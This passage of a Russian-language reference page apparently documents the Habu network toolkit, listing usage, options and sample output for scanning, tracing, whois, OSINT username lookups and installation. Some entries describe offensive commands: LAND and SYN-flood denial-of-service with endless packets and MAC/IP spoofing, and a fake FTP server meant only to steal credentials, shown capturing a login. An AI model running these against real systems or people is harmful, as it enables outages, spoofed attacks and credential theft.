Это очень старая атака и может использоваться для вызова Отказа в обслуживании на старых системах, таких как Windows NT 4.0. Больше информации здесь: https://en.wikipedia.org/wiki/LAND
Пример:
sudo habu.land 172.16.0.10 ............
Примечание: каждая точка (.) представляет собой отправленный пакет. С помощью опции '-c' вы можете указать, как много пакетов отправить. По умолчанию программа никогда не остановится. Также вы можете указать порт назначения используя опцию '-p'
Опции:
-c ЧИСЛО Как много пакетов отправить (по умолчанию: бесконечно) -p ЧИСЛО Порт для использования (по умолчанию: 135) -i TEXT Интерфейс для использования -v Подробность вывода --help Показать справку и выйти.
habu.nc
Использование:
habu.nc [OPTIONS] ХОСТ ПОРТ
Некоего рода заменитель netcat/ncat.
Эта команда эмулирует поведение популярных инструментов netcat и ncat.
Смотрите статью Как пользоваться netcat (nc), ncat.
Пример:
habu.nc --crlf www.portantier.com 80 Connected to 45.77.113.133 80 HEAD / HTTP/1.0 HTTP/1.0 301 Moved Permanently Date: Thu, 26 Jul 2018 21:10:51 GMT Server: OpenBSD httpd Connection: close Content-Type: text/html Content-Length: 443 Location: https://www.portantier.com/
Опции:
--family [4|6|46] Семейство IP адресов --ssl Включить SSL --crlf Использовать CRLF в качестве последовательности EOL (конец строки) --protocol [tcp|udp] Уровень 4 протокола для использования --source-ip TEXT IP источника для использования --source-port ЧИСЛО ДИАПАЗОН Исходный порт для использования --help Показать справку и выйти.
habu.nmap.excluded
Использование:
habu.nmap.excluded [ОПЦИИ]
Печатает случайный порт, который отсутствует в файле nmap-services, то есть который автоматически не сканируется программой nmap.
Полезно при настройке своих служб вроде SSH или RDP, если вы хотите, чтобы они работали на нестандартных портах, которые не будут автоматически просканированы nmap.
Пример:
habu.nmap.excluded 58567
Опции:
-l ЧИСЛО ДИАПАЗОН Самый низкий порт для рассмотрения -h ЧИСЛО ДИАПАЗОН Самый высокий порт для рассмотрения --help Показать справку и выйти.
habu.nmap.open
Использование:
habu.nmap.open [ОПЦИИ] SCANFILE
Считывает файл отчёта nmap и печатает открытые порты.
Из сгенерированного отчёта nmap извлекает только открытые и выводит их в виде результирующего списка, в котором найденные открытые порты перечислены через запятую.
Этот инструмент и полученный список портов вы можете использовать для быстрого включения в команду запуска другого инструмента.
Поддерживаются и определяются 3 формата вывода (nmap, gnmap и xml).
Пример:
habu.nmap.open portantier.nmap 22,80,443
Опции:
-p [tcp|udp|sctp] Протокол (по умолчанию=tcp) --help Показать справку и выйти.
habu.nmap.ports
Использование:
habu.nmap.ports [ОПЦИИ] SCANFILE
Считывает отчёт nmap и выводит просканированные порты.
Из сгенерированного файла вывода nmap находит и выводит список всех протестированных портов при условии, что в настройках запуска команды nmap было указано сохранять в отчёт информацию как об открытых, так и о закрытых портах. Если в отчёте имеется информация только об открытых портах, то эта команда ведёт себя также как и habu.nmap.open, то есть покажет только открытые порты.
Этот инструмент и полученный список портов вы можете использовать для быстрого включения в команду запуска другого инструмента.
Поддерживаются и определяются 3 формата вывода (nmap, gnmap и xml).
Пример:
habu.nmap.ports portantier.nmap 21,22,23,80,443
Опции:
-p [tcp|udp|sctp] Протокол (по умолчанию=tcp) --help Показать справку и выйти.
habu.ping
Использование:
habu.ping [ОПЦИИ] IP
Классический инструмент пингования, которые отправляет запросы ICMP echo.
Пример:
habu.ping 8.8.8.8 IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
Опции:
-i TEXT Какой интерфейс использовать (по умолчанию: auto) -c ЧИСЛО Как много пакетов отправить (по умолчанию: бесконечно) -t ЧИСЛО Время ожидания ответа в секундах (по умолчанию: 2) -w ЧИСЛО Сколько секунд между пакетами (по умолчанию: 1) -v Подробный вывод --help Показать справку и выйти.
habu.protoscan
Использование:
habu.protoscan [ОПЦИИ] IP
Отправляет IP пакеты с различным содержимом полем протокола для определения, какие протоколы 4 уровня доступны.
Вывод показывает, какие протоколы не вызвали ICMP ответ 'protocol-unreachable'.
Пример:
sudo habu.protoscan suip.biz 0 hopopt 1 icmp 2 igmp 3 ggp 4 ipv4 5 st 6 tcp 7 cbt 8 egp 9 igp 10 bbn_rcc_mon 11 nvp_ii 12 pup 14 emcon 15 xnet 16 chaos 17 udp 18 mux 19 dcn_meas 20 hmp 21 prm 22 xns_idp 23 trunk_1 24 trunk_2 25 leaf_1 26 leaf_2 27 rdp 28 irtp 29 iso_tp4 30 netblt 31 mfe_nsp 32 merit_inp 33 dccp 34 n_3pc 35 idpr 36 xtp 37 ddp 38 idpr_cmtp 39 tp__ 40 il 41 ipv6 42 sdrp 43 ipv6_route 44 ipv6_frag 45 idrp 46 rsvp 47 gre 48 dsr 49 bna 51 ah 52 i_nlsp 54 narp 55 mobile 56 tlsp 57 skip 58 ipv6_icmp 59 ipv6_nonxt 60 ipv6_opts 62 cftp 64 sat_expak 65 kryptolan 66 rvd 67 ippc 69 sat_mon 70 visa 71 ipcv 72 cpnx 73 cphb 74 wsn 75 pvp 76 br_sat_mon 77 sun_nd 78 wb_mon 79 wb_expak 80 iso_ip 81 vmtp 82 secure_vmtp 83 vines 84 iptm 85 nsfnet_igp 86 dgp 87 tcf 88 eigrp 89 ospfigp 90 sprite_rpc 91 larp 92 mtp 93 ax_25 94 ipip 96 scc_sp 97 etherip 98 encap 100 gmtp 101 ifmp 102 pnni 103 pim 104 aris 105 scps 106 qnx 107 a_n 108 ipcomp 109 snp 110 compaq_peer 111 ipx_in_ip 112 vrrp 113 pgm 115 l2tp 116 ddx 117 iatp 118 stp 119 srp 120 uti 121 smp 123 ptp 125 fire 126 crtp 127 crudp 128 sscopmce 129 iplt 130 sps 131 pipe 132 sctp 133 fc 134 rsvp_e2e_ignore 136 udplite 137 mpls_in_ip 138 manet 139 hip 140 shim6 141 wesp 142 rohc 255 reserved
Опции:
-i TEXT Интерфейс для использования -t ЧИСЛО Таймаут для каждого зонда (по умолчанию: 2 секунды) --all Зондировать все протоколы (по умолчанию: Определено в /etc/protocols) -v Подробный вывод --help Показать справку и выйти.
habu.select
Использование:
habu.select [ОПЦИИ] ПОЛЕ
Выбирает указанные поля из вывода в формате JSON.
Пример:
cat /var/log/auth.log | habu.extract.ipv4 | habu.expand | habu.filter cc eq US | habu.select asset 8.8.8.7 8.8.8.8 8.8.8.9
Опции:
-i ИМЯ_ФАЙЛА Файл ввода (По умолчанию: stdin) -v Подробный вывод --json Вывод в формате JSON --help Показать справку и выйти.
habu.server.ftp
Использование:
habu.server.ftp [ОПЦИИ]
Простой фальшивый FTP сервер, который служит цели только кражи учётных данных пользователя.
Поддерживает SSL/TLS.
Пример:
sudo habu.server.ftp --ssl --ssl-cert /tmp/cert.pem --ssl-key /tmp/key.pem Listening on port 21 Accepted connection from ('192.168.0.27', 56832) Credentials collected from 192.168.0.27! fabian 123456
Опции:
-a TEXT Адрес для привязки (по умолчанию: все) -p INTEGER Какой порт использовать (по умолчанию: 21) --ssl Включить SSL/TLS (по умолчанию: False) --ssl-cert TEXT Файл сертификата SSL/TLS --ssl-key TEXT Файл сертификата SSL/TLS -v Подробный вывод --help Показать справку и выйти.
habu.shodan
Использование:
habu.shodan [ОПЦИИ] IP
Простой клиент shodan API.
Печатает результат запроса к shodan в формате JSON.
Пример:
habu.shodan 216.58.222.36 asn AS15169 isp Google hostnames eze04s06-in-f4.1e100.net, gru09s17-in-f36.1e100.net country_code US region_code CA city Mountain View org Google open_ports tcp/443, tcp/80
Опции:
--cache / --no-cache -v Подробный вывод --format [txt|csv|json|nmap] Формат вывода --help Показать справку и выйти.
habu.shodan.query
Использование:
habu.shodan.query [ОПЦИИ] ЗАПРОС
Простой API клиент для запросов к shodan.
Печатает результаты в формате JSON запросов к shodan.
Пример:
habu.shodan 8.8.8.8 { "hostnames": [ "google-public-dns-a.google.com" ], "country_code": "US", "org": "Google", "data": [ { "isp": "Google", "transport": "udp", "data": "Recursion: enabled", "asn": "AS15169", "port": 53, "hostnames": [ "google-public-dns-a.google.com" ] } ], "ports": [ 53 ] }
Опции:
-c Отключить кэш -v Подробный вывод -o ИМЯ_ФАЙЛА Файл вывода (по умолчанию: stdout) --help Показать справку и выйти.
habu.synflood
Использование:
habu.synflood [ОПЦИИ] IP
Запускает множество TCP подключений и держит их открытыми.
Некоторые очень старые системы могут испытывать Отказ в обслуживании при использовании этого приёма.
Ссылка: https://ru.wikipedia.org/wiki/SYN_flood
Пример:
sudo habu.synflood 172.16.0.10 .................
Каждая точка — это отправленный пакет.
Вы можете использовать опции '-2' и '-3' для подделки адресов уровней 2/3 (канального и межсетевого, то есть MAC и IP адресов).
Если вы используете их, каждое подключение будет отправлено со случайного адреса второго уровня (MAC) и/или адреса уровня 3 (IP).
Вы можете выбрать количество подключений, которое нужно создать, это делается опцией '-c'. По умолчанию никогда не останавливается в создании подключений.
Примечание: если вы отправляете пакеты с вашего реального IP адреса и вы хотите держать ваши подключения полуоткрытыми, вам нужно настроить файервол не отправлять пакеты RST (сброса соединения).
Опции:
-i TEXT Какой интерфейс использовать (по умолчанию: автоматически) -c ЧИСЛО Как много пакетов отправить (по умолчанию: бесконечно) -p ЧИСЛО Port to use (по умолчанию: 135) -2 Подделывать адреса layer2/MAC (по умолчанию: Нет) -3 Подделывать адреса layer3/IP (по умолчанию: Нет) -v Подробный вывод --help Показать справку и выйти.
habu.tcpflags
Использование:
habu.tcpflags [ОПЦИИ] IP
Отправляет TCP пакеты с различными флагами и говорит, какие ответы получены.
Может использовать для анализа как различные реализации TCP/IP стэка и конфигурации отвечают на пакеты с различными комбинациями флагов.
Пример:
sudo habu.tcpflags www.portantier.com S -> SA FS -> SA FA -> R SA -> R
По умолчанию, команда отправляет все возможные комбинации флагов. С опцией '-f' вы можете указать, какие флаги должны всегда присутствовать (уменьшая количество возможных комбинаций).
Также опцией '-r' вы можете определить, какие флаги вы хотите, чтобы присутствовали в показываемых пакетах ответа.
Следующей командой вы увидите все возможные комбинации, которые имеют установленный флаг FIN (F) и генерирует ответы, которые содержат флаг RST (R).
Пример:
sudo habu.tcpflags -f F -r R www.portantier.com FPA -> R FSPA -> R FAU -> R
Опции:
-p ЧИСЛО Порт для использования (по умолчанию: 80) -f TEXT Флаги, которые всегда должны отправляться (по умолчанию: комбинации из всех возможных флагов) -r TEXT Фильтровать флаги ответов (по умолчанию: показать все ответы) -v Подробный вывод --help Показать справку и выйти.
habu.tcpscan
Использование:
habu.tcpscan [ОПЦИИ] IP
Сканер портов TCP.
Выводит порты, которые сгенерировали ответ с флагом SYN или (или используется флаг -a), все порты, которые сгенерировали ответ.
Это очень простой сканер, если сравнивать с nmap.
Пример:
sudo habu.tcpscan -p 22,23,80,443 -s 1 45.77.113.133 22 S -> SA 80 S -> SA 443 S -> SA
Опции:
-p TEXT Порты для использования (по умолчанию: 80) пример: 20-23,80,135 -i TEXT Интерфейс для использования -f TEXT Флаги для использования (по умолчанию: S) -s TEXT Время между зондами (по умолчанию: отправляет все пакеты вместе) -t ЧИСЛО Таймаут для каждого зонда (по умолчанию: 2 секунды) -a Показать все ответы (по умолчанию: только содержащие флаг SYN) -v Подробный вывод --help Показать справку и выйти.
habu.traceroute
Использование:
habu.traceroute [ОПЦИИ] IP
TCP трассировка.
Выявляет все сетевые узлы через которые проходит, пакет пока доберётся до пункта назначения. Принцип работы основывается на отправки пакетов с различным небольшим временем жизни и получении сообщений ttl-zero-during-transit
Подробности смотрите в статье «Трассировка сетевого маршрута».
Примечание: в Интернете до одного и того же хоста может быть несколько действительных путей.
Дополнительную информацию об этом смотрите в статье «Трассировка сетей со сложной топологией. Выявление NAT».
Пример:
sudo habu.traceroute 45.77.113.133 IP / ICMP 192.168.0.1 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror IP / ICMP 10.242.4.197 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror / Padding IP / ICMP 200.32.127.98 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror / Padding . IP / ICMP 4.16.180.190 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror . IP / TCP 45.77.113.133:http > 192.168.0.5:ftp_data SA / Padding
Примечание: лучше если использовать порт, который открыт на удалённой системе.
Опции:
-p ЧИСЛО Порт для использования (по умолчанию: 80) -i TEXT Интерфейс для использования --help Показать справку и выйти.
habu.usercheck
Использование:
habu.usercheck [ОПЦИИ] ИМЯ_ПОЛЬЗОВАТЕЛЯ
Проверяет, существует ли данное имя пользователя в различных социальных сетях и других популярных сайтах.
Пример:
habu.usercheck portantier { "aboutme": "https://about.me/portantier", "disqus": "https://disqus.com/by/portantier/", "github": "https://github.com/portantier/", "ifttt": "https://ifttt.com/p/portantier", "lastfm": "https://www.last.fm/user/portantier", "medium": "https://medium.com/@portantier", "pastebin": "https://pastebin.com/u/portantier", "pinterest": "https://in.pinterest.com/portantier/", "twitter": "https://twitter.com/portantier", "vimeo": "https://vimeo.com/portantier" }
Опции:
-c Отключить кэш -v Подробный вывод -w Открыть каждый валидный url в веб-браузере --help Показать справку и выйти.
habu.version
Использование:
habu.version [ОПЦИИ]
Опции:
--help Показать справку и выйти.
habu.vhosts
Использование:
habu.vhosts [ОПЦИИ] ХОСТ
Использует запросы к Bing для получения списка веб-сайтов, которые размещены на одном IP адресе.
Пример:
habu.vhosts www.telefonica.com www.telefonica.com -> 212.170.36.79 [ 'www.telefonica.es', 'universitas.telefonica.com', 'www.telefonica.com', ]
Опции:
-c Отключить кэш -p ЧИСЛО Счётчик страниц (По умолчанию: 10) -f ЧИСЛО Первый результат для получения (По умолчанию: 1) --help Показать справку и выйти.
habu.virustotal
Использование:
habu.virustotal [ОПЦИИ] ВВОД
Отправляет файл в VirusTotal https://www.virustotal.com/ и выводит отчёт о проверки файла на вирусы в формате JSON.
Примечание: перед отправкой файла, проверит, был ли файл проанализирован ранее (отправит sha256 этого файла), если отчёт существует, то настоящий файл отправляться не будет, а будет показан последний отчёт.
Пример:
habu.virustotal meterpreter.exe Verifying if hash already submitted: f4826b219aed3ffdaa23db26cfae611979bf215984fc71a1c12f6397900cb70d Sending file for analysis Waiting/retrieving the report... { "md5": "0ddb015b5328eb4d0cc2b87c39c49686", "permalink": "https://www.virustotal.com/file/c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23/analysis/1526850717/", "positives": 49, "resource": "c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23", "response_code": 1, "scan_date": "2018-05-20 21:11:57", "scan_id": "c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23-1526850717", "scans": { "ALYac": { "detected": true, "result": "Trojan.CryptZ.Gen", "update": "20180520", "version": "1.1.1.5" }, ... The other scanners ... }, "sha1": "5fa33cab1729480dd023b08f7b91a945c16d0a9e", "sha256": "c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23", "total": 67, "verbose_msg": "Scan finished, information embedded" }
Опции:
-v Подробный вывод --help Показать справку и выйти.
habu.web.report
Использование:
habu.web.report [ОПЦИИ] [ФАЙЛ_ВВОДА]
Создаёт отчёт, который включает HTTP заголовки веб-сайта.
Опционально, использует Firefox или Chromium для создания скриншота веб-сайтов.
В качестве ожидаемого формата должен быть один URL на строку.
Создаёт директорию с именем 'report' в который записывает полученный контент.
Пример:
echo https://www.portantier.com | habu.web.report
Опции:
-v Подробный вывод -s Сделать скриншот веб-сайта -b [firefox|chromium-browser] Используемый для создания скриншота браузер. --help Показать справку и выйти.
habu.web.screenshot
Использование:
habu.web.screenshot [OPTIONS] URL
Исполььзует Firefox или Chromium для создания скриншота веб-сайта.
Пример:
habu.web.screenshot https://www.portantier.com
Опции:
-b [firefox|chromium-browser] Используемый для создания скриншота браузер. -o TEXT Файл вывода. (по умолчанию: screenshot.png) --help Показать справку и выйти.
habu.whois.domain
Использование:
habu.whois.domain [ОПЦИИ] ДОМЕН
Простой клиент whois для проверки доменных имён.
Пример:
habu.whois.domain google.com registrar MarkMonitor, Inc. whois_server whois.markmonitor.com creation_date 1997-09-15 04:00:00 expiration_date 2028-09-14 04:00:00 name_servers ns1.google.com, ns2.google.com, ns3.google.com, ns4.google.com emails abusecomplaints@markmonitor.com, whoisrequest@markmonitor.com dnssec unsigned org Google LLC country US state CA
Опции:
--json Печатает вывод в формате JSON --csv Печатает вывод в формате CSV --help Показать справку и выйти.
habu.whois.ip
Использование:
habu.whois.ip [ОПЦИИ] IP
Простой whois клиент для проверки IP адресов (IPv4 и IPv6).
Пример:
habu.whois.ip 8.8.4.4 asn 15169 asn_registry arin asn_cidr 8.8.4.0/24 asn_country_code US asn_description GOOGLE - Google LLC, US asn_date 1992-12-01
Опции:
--json Печатает вывод в формате JSON --csv Печатает вывод в формате CSV --help Показать справку и выйти.
habu.xor
Использование:
habu.xor [ОПЦИИ]
Шифрование с помощью XOR.
Помните: XOR не является сколько-нибудь надёжным шифрованием. Если вам нужно сильное шифрование, то используйте алгоритмы вроде AES. Для этого вы можете использовать модуль habu.fernet.
Пример:
habu.xor -k mysecretkey -i /bin/ls > xored habu.xor -k mysecretkey -i xored > uxored sha1sum /bin/ls uxored 6fcf930fcee1395a1c95f87dd38413e02deff4bb /bin/ls 6fcf930fcee1395a1c95f87dd38413e02deff4bb uxored
Опции:
-k TEXT Ключ шифрования -i ИМЯ_ФАЙЛА Файл ввода (по умолчанию: stdin) -o ИМЯ_ФАЙЛА Файл вывода (по умолчанию: stdout) --help Показать справку и выйти.
Руководство по Habu
Страница man отсутствует.
Примеры запуска Habu
Показать все устройства в локальной сети, их MAC адреса, IP адреса и производителя устройства:
sudo habu.arp.sniff
Чтобы узнать MAC адрес устройства в локальной сети по известному IP адресу:
sudo habu.arp.ping -v 192.168.1.1
Для вычисления хешей файла yandex.nmap.txt по различным алгоритмам:
habu.hasher yandex.nmap.txt
Для вычисления хешей строки СТРОКА по различным алгоритмам:
echo СТРОКА | habu.hasher
Получение всех заголовков ответа сайта https://yandex.ru:
habu.http.headers https://yandex.ru
Чтобы показать все интерфейсы в системе и их MAC и IP адреса:
sudo habu.interfaces
Чтобы узнать свой публичный IP адрес:
habu.ip
Чтобы узнать свой публичный IPv6 адрес:
habu.ip -6
Для получения краткой информации об IP, об организации к которой он принадлежит и о диапазоне, в который входит указанный IP адрес:
habu.ip2asn 171.5.236.74
Вывод информации о всех сетевых интерфейсах в системе и MAC адресах с IP адресами:
habu.ip.internal
Создать 15 (-c 15) TCP подключений и начертить граф (-g) номеров начальных последовательностей TCP для каждого из них:
sudo habu.isn -c 15 suip.biz -g
Сканирование TCP портов 22, 23, 80, 443 (-p 22,23,80,443) на хосте 45.77.113.133 с интервалом отправки пакетов в 1 секунду (-s 1):
sudo habu.tcpscan -p 22,23,80,443 -s 1 45.77.113.133
Выполнить трассировку до хоста suip.biz:
sudo habu.traceroute suip.biz
Поиск имени пользователя miloserdov по социальным сетям и другим популярным веб-сайтам:
habu.usercheck miloserdov
Пример вывода:
{ "blogger": "http://miloserdov.blogspot.com/", "disqus": "https://disqus.com/by/miloserdov/", "facebook": "https://www.facebook.com/miloserdov", "github": "https://github.com/miloserdov/", "lastfm": "https://www.last.fm/user/miloserdov", "pinterest": "https://in.pinterest.com/miloserdov/", "tumblr": "https://miloserdov.tumblr.com", "twitter": "https://twitter.com/miloserdov", "wordpress": "https://miloserdov.wordpress.com/" }
Выполнить проверку на вирусы файла test.cap:
habu.virustotal test.cap
Создать отчёт по сайту https://suip.biz, этот отчёт будет содержать заголовки ответа, а также скриншот страницы веб-сайта, сделанный с помощью веб-браузера Firefox:
echo https://suip.biz | habu.web.report -s -b firefox
Установка Habu
Установка в Kali Linux
sudo pip3 install habu validators sudo apt install python3-matplotlib python3-tldextract python3-prompt-toolkit
Установка в BlackArch
Программа предустановлена в BlackArch.
sudo pacman -S habu python-tldextract python-matplotlib python-prompt_toolkit sudo pip3 install python-whois ipwhois netifaces pygments regex validators
Установка в Windows
Вначале установите Python и PIP на Windows. Затем выполните:
pip install habu validators matplotlib tldextract prompt-toolkit
Для работы некоторых функций (например, для трассировки) нужна установленная программа Winpcap или Npcap. Подробности об этих программах и для чего они нужны, вы можете прочитать в начале статьи «Взлом Wi-Fi без пользователей в Windows (с использованием Wireshark и Npcap для захвата PMKID)».
Вы можете установить отдельно Npcap или более старый вариант Winpcap, но ещё одним вариантом является установка Wireshark в Windows, которая поставляется с Npcap.
Информация об установке в другие операционные системы будет добавлена позже.
Скриншоты Habu
Устройства в локальной сети:
Рассчёт хеша файла по нескольким алгоритмам:
Заголовки ответа HTTP запроса:
Трассировка:
Поиск имени пользователя по социальным сетям и популярным сайтам:
Ответ по веб-сайту, который включает заголовки ответа и скриншот сайта:
Comments are Closed